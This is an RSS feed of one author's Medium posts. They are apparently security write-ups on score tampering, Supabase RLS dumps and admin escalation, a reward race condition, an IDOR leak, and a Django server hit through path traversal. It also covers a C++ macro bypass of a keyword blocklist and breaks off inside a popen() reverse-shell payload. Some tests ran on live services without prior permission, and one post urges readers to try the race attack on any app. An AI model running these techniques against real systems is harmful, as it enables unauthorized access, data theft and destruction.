<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gombos Ákos-Roland on Medium]]></title>
        <description><![CDATA[Stories by Gombos Ákos-Roland on Medium]]></description>
        <link>https://medium.com/@gombosakosroland?source=rss-b44b8a890d57------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*GC6NErj-Gr6Ag7vDWtwP1A.png</url>
            <title>Stories by Gombos Ákos-Roland on Medium</title>
            <link>https://medium.com/@gombosakosroland?source=rss-b44b8a890d57------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 07:47:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gombosakosroland/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How Getting Mogged Made Me Find a Client-Side Score Manipulation Bug]]></title>
            <link>https://medium.com/@gombosakosroland/how-getting-mogged-made-me-find-a-client-side-score-manipulation-bug-8276d4dcc115?source=rss-b44b8a890d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/8276d4dcc115</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[mogging]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Gombos Ákos-Roland]]></dc:creator>
            <pubDate>Sat, 09 May 2026 12:20:36 GMT</pubDate>
            <atom:updated>2026-05-09T12:20:36.202Z</atom:updated>
            <content:encoded><![CDATA[<p>I lost mogoff after mogoff. I’m not going to pretend I handled it well. It was the lightnings fault for sure…</p><p>I sat there for a second, genuinely convinced something was off. The site felt vibecoded — you know that feeling when you look at a product and can just tell the architecture is vibes all the way down? I’d never been poking around omoggle before out of curiosity, but this time I had motivation. I opened Burp Suite.</p><h3>What’s omoggle</h3><p>For context: omoggle is a platform where you go 1v1 with a stranger on camera in short video battles called “mogoffs.” You win, you gain ELO. You lose, you drop. There’s a leaderboard. People genuinely care about their ranking. The site even has some anti-cheat built in — more on that in a second.</p><h3>Finding the request</h3><p>I started watching the HTTP history at the end of a match. Right as the mogoff concluded, a POST request fired to /api/match/finalize. It contained the match result — including my score, my opponent&#39;s score, a score cap, and a whole selfScanValidity block full of face detection metrics: facePresentRatio, landmarkStability, blinkOrExpressionEvidence, and more.</p><p>That last part is interesting. The developers clearly thought about integrity. They had the client report whether your face was actually present and stable during the match, presumably to catch people going AFK or covering their camera. The anti-cheat logic existed. It just didn’t matter, because the score was still coming from the client.</p><p>The problem was that /finalize fired <em>fast</em>. Like, I couldn&#39;t manually intercept and edit it in time — the request was already gone before I could touch it in Burp&#39;s proxy. So I did what you do: I went to <strong>Match and Replace</strong> and set up three regex rules to automatically rewrite the outgoing body before it ever left my machine:</p><pre>Match: &quot;selfScore&quot;:\d+(\.\d+)?      →   Replace: &quot;selfScore&quot;:9.3<br>Match: &quot;scoreCap&quot;:\d+(\.\d+)?       →   Replace: &quot;scoreCap&quot;:10<br>Match: &quot;opponentScore&quot;:\d+(\.\d+)?  →   Replace: &quot;opponentScore&quot;:5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y8mRB4-T6bQb1FokSzHazg.png" /></figure><p>Enabled. Done. No more manual interception needed.</p><p>From that point on, every match I played, Burp silently rewrote the finalize request before it hit the server. The server accepted it. No validation. No cross-check. It just processed whatever I sent and updated the ELO accordingly — eloResolved: true, every time.</p><p>I won. Constantly.</p><h3>What the response looked like</h3><p>The server’s response confirmed the whole thing was working exactly as intended (from my perspective, anyway):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*auTUKUOAhsv9db6j0KYttw.png" /></figure><p>Every match, ELO going up. The server was fully convinced I was winning legitimately.</p><p>This is a textbook <strong>client-side trust</strong> issue. The server accepted the match result as reported by the client, rather than computing it independently.</p><p>What makes it worse is that the scaffolding for a better system was already there. The selfScanValidity block shows the developers were thinking about what the client reports and whether it can be trusted. But that logic was applied to the wrong thing — face presence data that doesn&#39;t affect the score — while the score itself was left completely open.</p><p>A properly implemented finalize endpoint would either:</p><ul><li>Accept only a match/session ID and compute the result server-side from data it already has, or</li><li>Validate any client-submitted score against its own authoritative record</li></ul><p>One check. That’s the whole fix.</p><h3>Disclosure</h3><p>After sitting on it for a bit and confirming it worked consistently, I reached out via the platform’s Discord bugs channel. I kept it vague at first — said I’d found something affecting match integrity, asked if they had a bounty process. The head dev (Ben) responded quickly, confirmed they were already aware the architecture wasn’t great and were working on it, and gave me the green light to write this up.</p><h3>Closing thoughts</h3><p>I found this bug because I lost and couldn’t accept it. That’s it. That’s the whole origin story.</p><p>But here’s the thing — my suspicion wasn’t wrong, it was just misdirected. The outcome <em>was</em> manipulable. Just not by whoever mogged me. By anyone with Burp Suite and five minutes.</p><p>The lesson isn’t new: <strong>never trust the client.</strong> Score calculation belongs on the server. Always. The face detection anti-cheat was a good instinct pointed at the wrong layer of the stack.</p><p>Also I did end up winning a lot of mogoffs. So.</p><p><em>Vulnerability reported May, 2026. Patched by the development team. Writeup published with explicit permission</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8276d4dcc115" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Accidentally Became a Superuser, Dumped a University Archive, and Set My Faculty to “Faculty…]]></title>
            <link>https://medium.com/@gombosakosroland/how-i-accidentally-became-a-superuser-dumped-a-university-archive-and-set-my-faculty-to-faculty-d6488f9b15e3?source=rss-b44b8a890d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6488f9b15e3</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Gombos Ákos-Roland]]></dc:creator>
            <pubDate>Sat, 09 May 2026 12:10:05 GMT</pubDate>
            <atom:updated>2026-05-09T12:10:05.320Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I Accidentally Became a Superuser, Dumped a University Archive, and Set My Faculty to “Faculty of Pwning”</h3><p><strong>A fully authorized pentest of a friend’s platform — and what I found in the first few hours.</strong></p><p>It started the way most things do — curiosity and Burp Suite running in the background.</p><p>A friend of mine from uni had built something genuinely useful: a platform where students could access past exams, course materials, and build a leaderboard of academic contributions. He’d put real effort into it. He also trusted me enough to ask me to poke at it. That was his first mistake. (Kidding :))</p><p>I want to be clear upfront: <strong>this was a fully authorized engagement.</strong> My friend knew exactly what I was doing and gave explicit permission before I touched anything. What I found surprised even me — not because the bugs were unique, but because of how quickly they stacked up.</p><p>This is a writeup of four findings, ranging from silly to genuinely concerning.</p><h3>The Setup</h3><p>The platform is a university-focused archive and community tool built on top of <strong>Supabase</strong> — an open source Firebase alternative that exposes a REST API directly over your PostgreSQL database. It’s a solid stack for moving fast. It also means that misconfigured Row Level Security (RLS) policies can turn your entire database into a public endpoint. Spoiler: some of them were misconfigured.</p><p>I opened Burp, set my proxy, and started clicking around. I hadn’t finished my coffee before the first thing jumped out at me.</p><h3>Finding #1 — “Faculty of Pwning”</h3><p><strong>Severity: Low / Funny</strong></p><p>The registration endpoint looked standard enough:</p><pre>POST /auth/v1/signup</pre><p>The request body accepted a data object for user metadata — things like username, faculty, and study_year. Normal stuff. Except there was zero validation on any of these fields server-side.</p><p>I changed my faculty to &quot;faculty of pwning&quot; and my study year to &quot;Anul 19&quot;. The server accepted it without complaint. HTTP 200. Account created. My profile now proudly displayed a faculty that does not exist and a study year that would make me approximately 40 years old.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AYUMs5yVrmaF4SPXdHHYTw.png" /></figure><p>This is a low-severity issue on its own — it’s not going to get anyone’s data stolen. But it’s a signal. If the server isn’t validating the easy stuff, what about the harder stuff?</p><p>I kept going.</p><h3>Finding #2 — Dumping the Entire Database</h3><p><strong>Severity: Critical</strong></p><p>Supabase exposes a PostgREST API at /rest/v1/. The way it works is simple: each table in your database becomes an endpoint. If RLS is not properly configured, those endpoints are wide open.</p><p>I started with the obvious:</p><pre>GET /rest/v1/profiles?select=*</pre><p>Full user table. Every profile, every username, every point total, every faculty, every user ID. No authentication beyond the public anon key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K0pXSGBz6qUNHK3VqNk3tA.png" /></figure><p>That was interesting. But I wanted to know how deep this went.</p><p>I asked the dev for the Supabase table names, since this was like a gray box pentest, just to check things faster I threw it into <strong>Burp Intruder</strong>, and ran a sniper attack against the /rest/v1/ endpoint — one payload per table name, watching the response sizes.</p><p>The results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZSeo6JiffRd3_L8K7V1wGw.png" /></figure><p>The archive_files table alone came back at <strong>2,103,739 bytes</strong> — over 2MB of exam files, metadata, course names, teacher names, and file URLs, all readable without authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j3NbMN-4UwgScEJTLFjv8A.png" /></figure><p>The most alarming table was gemini_keys. It returned active API keys with usage counts. These were live credentials, sitting in a publicly accessible database table with no RLS protection. I flagged this immediately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6YD6h67Qnj0Lcqzsum-OCw.png" /></figure><p>The messaging-related tables (chat_messages, chat_participants, chat_rooms) were technically accessible in terms of the endpoint responding, but I chose not to pull the actual content — that&#39;s private communication between users and goes beyond what&#39;s necessary to demonstrate the vulnerability.</p><p><strong>Root cause:</strong> Row Level Security was either disabled or misconfigured on most tables. Supabase’s anon key is intentionally public-facing, but it should only be able to read data that’s explicitly allowed by RLS policies. Without those policies, the anon key becomes a skeleton key.</p><h3>Finding #3 — Becoming Admin With One Request</h3><p><strong>Severity: High</strong></p><p>The hint came from /auth/v1/user. The response included &quot;is_admin&quot;: true inside user_metadata — a client-readable field. If the app was checking admin status from there, it was probably also <em>setting</em> it from there. Time to find out.</p><p>The way to achieve this was through the PATCH endpoint for updating your own profile:</p><pre>PATCH /rest/v1/profiles?id=eq.&lt;your-user-id&gt;</pre><p>The filter was based on the id parameter in the URL. No server-side check to verify that the authenticated user actually owned that profile. The check, if any, was happening on the client.</p><p>I sent:</p><pre>{<br>  &quot;points&quot;: 671337,<br>  &quot;is_admin&quot;: true<br>}</pre><p>Response: <strong>HTTP 204 No Content</strong> — success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MqnBag-yRrzmG4KLNRDB5Q.png" /></figure><p>I refreshed my profile. I was now an admin with 671,337 points.</p><p>The is_admin flag should never be a field that a regular user can write to their own profile. This is a textbook <strong>broken access control</strong> vulnerability — the API trusted the client to only send what it was supposed to, rather than enforcing what the server would accept. The fix is straightforward: strip any privileged fields (is_admin, is_banned, role-related fields) from user-submitted PATCH requests before they hit the database, regardless of what the client sends.</p><p>On the admin panel side — there wasn’t much functionality exposed to admins yet since the platform was early stage, so the practical blast radius here was mostly contained to the leaderboard. But the pattern is dangerous: if admin functionality expands later and this isn’t fixed, the impact grows with it.</p><h3>Finding #4 — Leaderboard Domination</h3><p><strong>Severity: Medium / Very Satisfying</strong></p><p>This one follows directly from Finding #3. Since I could set my own points to any value, I set my main account to 999,999,999 points and watched it rocket to <strong>#1 on the university leaderboard</strong>. I put my alt account at 671,337 for a comfortable <strong>#2</strong>.</p><p>The result was a podium that looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*KqNJX3mWjm5-cuVI3dgYaw.png" /></figure><p>This isn’t just cosmetic. A leaderboard that can be manipulated this easily is worthless as a trust signal. If the platform ever ties leaderboard position to real benefits — scholarships, recognition, access (it probably won’t), then this becomes a much more serious issue.</p><h3>What I Didn’t Find</h3><p>I also spent time testing the JWTs used for authentication. The tokens were properly signed with HS256, expiry times were reasonable, and I couldn’t find any algorithm confusion, weak secret issues, or claims that could be manipulated to escalate privileges through the token itself. The auth layer was actually solid — which made the authorization layer failures all the more jarring by comparison. Secure tokens handed to an API that doesn’t check what they’re allowed to do is a common and painful pattern.</p><h3>The database after patch:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bv6jS-4BEPhyxuxed2VOZA.png" /></figure><h3>Disclosure</h3><p>This was a <strong>fully authorized test</strong> conducted at the explicit request of the platform developer, who is a friend and classmate. All findings were reported immediately after discovery. The platform was in early development, which explains the attack surface. The developer responded quickly and began patching.</p><p>No real user data was extracted or stored beyond what was necessary to confirm the vulnerability. Screenshots used in this writeup have been redacted to remove personally identifiable information of other users.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6488f9b15e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a YouTube Recommendation Led Me to Claim Free Coins Twice]]></title>
            <link>https://medium.com/@gombosakosroland/how-a-youtube-recommendation-led-me-to-claim-free-coins-twice-6e71613bc057?source=rss-b44b8a890d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e71613bc057</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[race-condition]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Gombos Ákos-Roland]]></dc:creator>
            <pubDate>Fri, 08 May 2026 09:25:57 GMT</pubDate>
            <atom:updated>2026-05-08T09:25:57.500Z</atom:updated>
            <content:encoded><![CDATA[<p>It was a random Monday. Nothing special going on. YouTube decided to recommend me a video about abusing game economy endpoints and I thought — sure, why not, let me see if this works somewhere.</p><p>Fifteen minutes later, I had reproduced a race condition on a reward endpoint.</p><h3>The Setup</h3><p>The target was a browser-based shooter — the kind of game where in-game currency actually matters if you wanted show off. The game had a free coins endpoint, basically a periodic reward you could claim. Hit the button, get your coins, come back later.</p><p>The request was simple:</p><pre>POST /api/items/free-coins HTTP/2<br>Host: [redacted]<br>Authorization: Bearer [token]<br>Content-Type: application/json</pre><p>Normal response looked like this:</p><pre>{<br>  &quot;message&quot;: &quot;You have received 12 coins.&quot;,<br>  &quot;updates&quot;: {<br>    &quot;coins&quot;: 439,<br>    &quot;freeCoinsClaimCount&quot;: 1,<br>    &quot;freePxAvailable&quot;: 2<br>  }<br>}</pre><p>One claim. Count goes to 1. Nothing suspicious.</p><h3>The Vulnerability</h3><p>The problem is that the check and the write aren’t atomic. The server reads your claim count, decides you’re eligible, <em>then</em> goes to update it — and those two steps aren’t locked together. If you send enough requests at the exact same time, they all pass the eligibility check before any single one has updated the counter.</p><p>This is a TOCTOU bug — Time of Check, Time of Use. Classic race condition.</p><h3>Reproducing It</h3><p>Burp Suite’s Repeater has a “send group in parallel” feature. With HTTP/2, you can multiplex requests over a single connection, meaning they all land on the server nearly simultaneously. I duplicated the request into 20 tabs, same auth token, and hit send.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vXr8nnBjl4r8xrB9pfkTUg.png" /></figure><p>The response:</p><pre>{<br>  &quot;message&quot;: &quot;You have received 12 coins.&quot;,<br>  &quot;updates&quot;: {<br>    &quot;coins&quot;: 451,<br>    &quot;freeCoinsClaimCount&quot;: 2,<br>    &quot;freePxAvailable&quot;: -10<br>  }<br>}</pre><p>Two things. First, freeCoinsClaimCount is 2 — the claim ran twice. Second, freePxAvailable went <strong>negative</strong>. The server handed out more than it had budgeted for, which confirmed that multiple claims went through in the same window.</p><p>That’s your smoking gun right there.</p><h3>Impact</h3><p>In-game currency here has real tradeable value. At small scale it’s a minor annoyance. Automated, looped, and run across multiple accounts it inflates the economy and undermines everything legitimate players earned. And the barrier to entry is basically zero — just a free Burp Suite download and a valid account.</p><h3>The Fix</h3><p>Standard remediation for this kind of thing: make the check and the write a single atomic database operation, so there’s no window between the two. A Redis lock keyed on user ID works too. Either way, the whole vulnerability lives in that gap — close the gap, close the bug.</p><h3>Closing Thoughts</h3><p>The funny part is I wasn’t even doing security research. I watched a video, got curious, and it worked first try. Race conditions on reward endpoints are everywhere and almost never tested. If you’re poking around any app with economy mechanics, throw a parallel send at the claim endpoint. Takes two minutes and you might be surprised what comes back.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e71613bc057" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Bus That Left 2 Minutes Early Led Me to an IDOR Exposing Thousands of Personal Records]]></title>
            <link>https://medium.com/@gombosakosroland/how-a-bus-that-left-2-minutes-early-led-me-to-an-idor-exposing-thousands-of-personal-records-3eb9d9275105?source=rss-b44b8a890d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/3eb9d9275105</guid>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[responsible-disclosure]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Gombos Ákos-Roland]]></dc:creator>
            <pubDate>Fri, 08 May 2026 08:14:59 GMT</pubDate>
            <atom:updated>2026-05-08T08:14:59.476Z</atom:updated>
            <content:encoded><![CDATA[<p>It was around the end of August, 2024. I was standing at the bus stop, watching my bus pull away — two minutes early. Two minutes. I’d been on time. The bus wasn’t.</p><p>That was the moment I decided I was going to make sure their systems are secure in case someone is out there to hack them.</p><h3>The Setup</h3><p>The target was a local public transport company running a subsidized travel card system for students. You register, submit a declaration proving you’re a student, and get a discounted transit card. Standard stuff. Boring stuff. Except their web app was anything but boring — it was a goldmine.</p><p>I started poking around with Burp Suite, intercepting requests like any normal frustrated person does after missing their bus. The subscription endpoint caught my eye immediately:</p><pre>POST /api/web/v2-6/subscriptions?card_sdist=2023977</pre><p>A sequential integer. In a public-facing API. In 2024.</p><h3>The Vulnerability</h3><p>I changed 2023977 to 2023975. Sent the request. The response came back — 6,549 bytes of base64 encoded data.</p><p>I decoded it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TgfFQLfvtr5NEzODolS8kA.png" /></figure><p>What I got was a full legal subsidy declaration document. Someone else’s. Complete with their full name, CNP (Romanian national identification number), and a signed declaration referencing multiple Romanian laws and government ordinances — the kind of document you’d file with a government office.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*atJ9diu50vRNwwgs9s44eA.png" /></figure><p>This wasn’t just a data leak. This was an IDOR (Insecure Direct Object Reference) — one of the most well-known, most preventable vulnerability classes in web security. No authentication check. No ownership validation. Just: here’s a number, here’s someone else’s legal document. Enjoy.</p><p>The only thing stopping a full database dump was my unwillingness to do it without anonymization. The vulnerability was that clean.</p><h3>The Timeline</h3><p>I reported this. Five times. Over six months.</p><p>I wasn’t vague about it either — I explained the vulnerability class, the potential impact, and even pointed out that under GDPR, failing to address a reported data breach of this nature could result in fines of up to €20 million or 4% of annual global turnover. I laid it out clearly. I gave them every reason to respond.</p><p>Silence. Every single time.</p><p>Sometime in the following months, the vulnerability was quietly patched. No acknowledgment. No thank you. No “hey we fixed it.” Nothing. They just closed the hole and hoped nobody noticed — or more likely, hoped I’d forget.</p><p>I didn’t forget.</p><h3>The Technical Breakdown</h3><p>The root cause is straightforward: the backend performed no authorization check to verify that the requesting user owned the subscription record being queried. The card_sdist parameter was trusted entirely at face value.</p><p>The fix is equally straightforward: before returning any record, verify that the authenticated user’s ID matches the owner of that record. One database join. One condition. That’s it.</p><p>The fact that this wasn’t in place on an endpoint returning legally sensitive personal documents, in a system handling student subsidy applications tied to national ID numbers, is genuinely hard to excuse.</p><h3>Closing Thoughts</h3><p>I’m publishing this because the vulnerability is patched, the company had six months and five separate reports to acknowledge it, and the public deserves to know that their data was exposed. The people who submitted those declarations to get a discounted bus pass didn’t agree to have their personal documents freely readable by anyone with a browser and five minutes.</p><p>To the company: fix your bus schedules too.</p><p><em>Responsible disclosure attempted August 2024 through early 2025. Five reports sent. Zero responses received. Vulnerability silently patched.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3eb9d9275105" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I pwend my high school CS teacher]]></title>
            <link>https://medium.com/@gombosakosroland/how-i-pwend-my-high-school-cs-teacher-a6b5495a9fb1?source=rss-b44b8a890d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6b5495a9fb1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[django]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Gombos Ákos-Roland]]></dc:creator>
            <pubDate>Thu, 07 May 2026 00:44:30 GMT</pubDate>
            <atom:updated>2026-05-07T00:44:30.692Z</atom:updated>
            <content:encoded><![CDATA[<p>I was never a good student. I didn’t like doing something just because I was told to — I needed to understand <em>why</em>, and if it didn’t tickle that part of my brain, it was all for nothing. That’s how I discovered hacking.</p><p>It was a night like any other when I stumbled across David Bombal and NetworkChuck’s videos, and I thought — this HackTheBox thing seems interesting. I spent about three months just running nmap and larping with it, going nowhere. Then came a challenge.</p><p>Since I was far from a straight-A student and had a bit of a rebellious streak, I walked up to my teacher and said: “Hey, can I try to hack your site?” He said sure — and if I pulled it off, I’d get full marks. I looped in my classmate Tamás, who actually knew C++ — unlike me — and we started poking at it together.</p><p>That’s basically how I got away with never properly learning C++. (I’m paying for that in university now, but there’s light at the end of the tunnel.)</p><h3><strong>Getting into the technicalities</strong></h3><h3>The Target</h3><p>The site was a homework submission platform my teacher had built himself — a Django app running on a <strong>Raspberry Pi</strong> in his home, exposed to the internet via a hopto.org dynamic DNS address. Students would log in, upload their .cpp files, and the server would compile and run them, returning a grade.</p><p>The whole attack surface, in hindsight, was generous.</p><h3>Step 1: Reconnaissance — F12 and a Revealing JS File</h3><p>The first useful thing I found wasn’t a CVE. It was just the browser dev tools.</p><p>Opening the site and hitting F12, I dug into the bundled JavaScript — a minified file called index.3915fb51.js. This made it possible for me to edit the due date of homeworks, with local overrides.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PG2Acqg0harYmMk-MP2iAg.png" /></figure><h3>Step 2: Debug Mode Was Left On</h3><p>While poking at the upload endpoint, I triggered a server error — and instead of a generic 500 page, Django handed me its <strong>debug page</strong>.</p><p>If you’ve ever developed a Django app, you know this page. It’s a beautiful, detailed error report meant for development: full stack traces, local variable values at every frame, the exact source code line that failed, and — crucially — <strong>the contents of POST requests</strong>, including tokens and usernames.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n8F9vDhaCJVbBgKE0FAc5g.png" /></figure><p><strong>Debug mode should never be on in production.</strong> It’s one of the most basic Django security settings (DEBUG = False in settings.py), but it&#39;s an easy thing to forget when you deploy straight from your dev environment.</p><p>From the debug pages I was leaking, I could see the server-side code structure, file paths, and even valid auth tokens from other users’ requests. This gave me a clear picture of the whole backend.</p><p>This was just the beginning, so I said why not go and try to learn more about file upload vulnerabilities. This led to me editing random stuff in the upload request.</p><h3>Step 3: Path Traversal in the Homework Number Field</h3><p>The file upload endpoint accepted a homework parameter — a number indicating which assignment you were submitting. The server used this to construct the file storage path:</p><pre>path = &quot;/home/pi/[REDACTED]/tmp/&quot; + class_name + class_profile + &quot;/&quot; + username + &quot;/&quot; + str(homework)</pre><p>No sanitization. No validation that the homework number was actually a number.</p><p>So what happens if you submit ../../../../ as the homework number?</p><p>You get <strong>path traversal</strong>. The server blindly concatenates your input into the path, and ../ sequences walk up the directory tree. With the right number of ../, you can point the path at arbitrary locations on the filesystem — including directories you shouldn&#39;t have access to.</p><p>The patch that followed was, charitably, minimal:</p><pre>if &quot;/&quot; in str(homework) or &quot;/&quot; in file_name or last_characters != &quot;.cpp&quot;:<br>    grade = 2<br>    note = &quot;incorrect upload method&quot;</pre><p>Checking for / in the input. It works, but it&#39;s not exactly robust input validation — more of a &quot;we know exactly what you did and we&#39;re blocking that specific thing.&quot;</p><h3>The Christmas Incident</h3><p>Before it was patched, the path traversal had a consequence I didn’t fully anticipate.</p><p>The upload endpoint didn’t just write files to the constructed path — it also cleared the directory first. So when the path resolved to something far up the directory tree, it deleted whatever was there.</p><p>At some point around Christmas, a poorly aimed traversal pointed at the application’s main folder. The app deleted itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aMwgB9fs1Ec6ecXWquUIDQ.png" /></figure><p>The site went down. The teacher had to restore it from scratch over the holidays. He was… understanding about it, to his credit. The fix went in shortly after.</p><p>It’s a good illustration of why path traversal isn’t just an information disclosure issue — depending on what the application does with the path, it can mean data destruction or denial of service. The “vulnerability” on paper sounds like “ooh you can read files,” but the actual impact here was taking down the whole service.</p><h3>The CVE Rabbit Hole (and Why It Led Nowhere)</h3><p>Before I found any of the real vulnerabilities, I went through what I can only describe as the “skid phase.”</p><p>Nessus kept flagging phpMyAdmin vulnerabilities on the server — including <a href="https://www.cvedetails.com/cve/CVE-2019-11768/">CVE-2019–11768</a>, a critical SQL injection in phpMyAdmin’s Designer feature where a specially crafted database name could trigger an injection attack. CVSS score 9.8. Sounds devastating.</p><p>I got excited. I found a Medium article written by the person who <em>discovered</em> the CVE. Found them on Discord. Actually talked to them about it.</p><p>What I learned from that conversation was something no tutorial tells you upfront: <strong>a CVE is a description of a vulnerability, not a skeleton key.</strong> The fact that a version number matches doesn’t mean the specific feature is enabled, accessible, or reachable from your position. CVE-2019–11768 requires access to phpMyAdmin’s Designer feature — which wasn’t exposed to students on the homework site at all.</p><p>I’d been doing what a lot of beginners do: running Nessus, getting a list of CVE numbers, running those CVE numbers through searchsploit and Metasploit, and hoping something connected. It almost never does. The version might match but the configuration doesn’t. Or the service is behind auth. Or the exploit just doesn’t work against this particular setup.</p><p>I had the debug mode since October and path traversal since December but still, I’ve spent months barking up the wrong tree with CVEs and exploit databases, and only in March did I think to actually read the source code the debug page had been handing me the whole time.</p><h3>Step 4: Using our “backtracking” we decided to take a step back, and examine what we have.</h3><p>Each time I triggered an error on the upload endpoint, Django’s debug page would show the full stack trace — including the relevant lines of uploadfile/views.py at each frame. By triggering errors at different points in the request (missing fields, bad tokens, malformed data), I could get the debug page to reveal progressively more of the file. Eventually I had most of the upload handler:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C1wlk4a3fe4-oXWTbF9QXA.png" /></figure><p>So the reconstructed code looked like this:</p><pre>@csrf_exempt<br>def index(request):<br>    if request.method == &#39;POST&#39;:<br>        try:<br>            token = str(request.POST[&#39;token&#39;])<br>            user = request.POST[&#39;user&#39;]<br>            homework = request.POST[&#39;homework&#39;]<br>        except:<br>            json_data = json.loads(request.body)<br>            token = json_data[&#39;token&#39;]<br>            user = json_data[&#39;user&#39;]<br>            homework = json_data[&#39;homework&#39;]<br>        if db_functions.checktoken(user, token):<br>            if request.FILES[&#39;myfile&#39;]:<br>                myfile = request.FILES[&#39;myfile&#39;]<br>                realname, class_name, class_profile, token, username = db_functions.getinfo(user)<br>                path = &quot;/home/pi/[REDACTED]/tmp/&quot; + class_name + class_profile + &quot;/&quot; + username + &quot;/&quot; + str(homework)<br>                try:<br>                    os.makedirs(path)<br>                except:<br>                    for root, dirs, files in os.walk(path):<br>                        for file in files:<br>                            os.remove(path + &quot;/&quot; + file)</pre><p>Two things jump out immediately reading this:</p><p>First, str(homework) is concatenated directly into the path with zero sanitization. Second — and this is what caused the Christmas incident later — when the directory already exists, the code <strong>deletes every file inside it</strong> before saving the new upload. Both of those facts came directly from reading the leaked source.</p><p>This is what made the debug mode leak so damaging. It wasn’t just metadata — it was the blueprint.</p><h3>Step 5: The Macro Bypass — Getting Code Execution</h3><p>While Tamás was looking at the C++ angle, I noticed the content filter was just doing substring matching on the source text. I figured if the string ‘system’ never literally appears in the file, the check can’t catch it — which led to the token pasting trick</p><p>The server compiled and ran your submitted C++ files. Naturally, there was a content check to prevent malicious code:</p><pre>def check_system_libraries(filename):<br>    if &#39;system&#39; in open(filename).read() or &#39;proc&#39; in open(filename).read() or &#39;exec&#39; in open(filename).read():<br>        return True<br>    return False</pre><p>If your file contained the strings system, proc, or exec, it would be rejected. Simple enough.</p><p>Except — this check runs on the <strong>source code text</strong>. It doesn’t understand C++. It’s just looking for substrings.</p><p>C++ has a preprocessor that runs <em>before</em> compilation, and it has a feature called <strong>token pasting</strong> (##). The ## operator concatenates tokens during macro expansion. So:</p><pre>#define sister(sy ## s ## tem)</pre><p>This defines a macro called sister that, when called, expands to system. The string system never appears literally in the source file — only the fragments sy, s, and tem do. The content check sees nothing suspicious. The compiler assembles it into a real system() call.</p><h3>Step 6: Getting a Reverse Shell via popen()</h3><p>Tamás pointed out that popen() does essentially the same job as system() for our purposes — and crucially, it wasn’t on the blocklist at all. No macro tricks needed.</p><p>A reverse shell works like this: instead of the attacker connecting <em>to</em> the victim (which a firewall would block), the victim’s machine initiates an outbound connection <em>back</em> to the attacker. Outbound connections are usually permitted, so this bypasses most firewalls.</p><p>The payload used popen() — a C function that creates a pipe between your process and a shell command — to run a Python one-liner that connected back to a listening netcat session:</p><pre>#include &lt;cstdio&gt;<br><br>int main() {<br>    FILE* pipe = popen(&quot;python3 -c &#39;import os,pty,socket;&quot;<br>        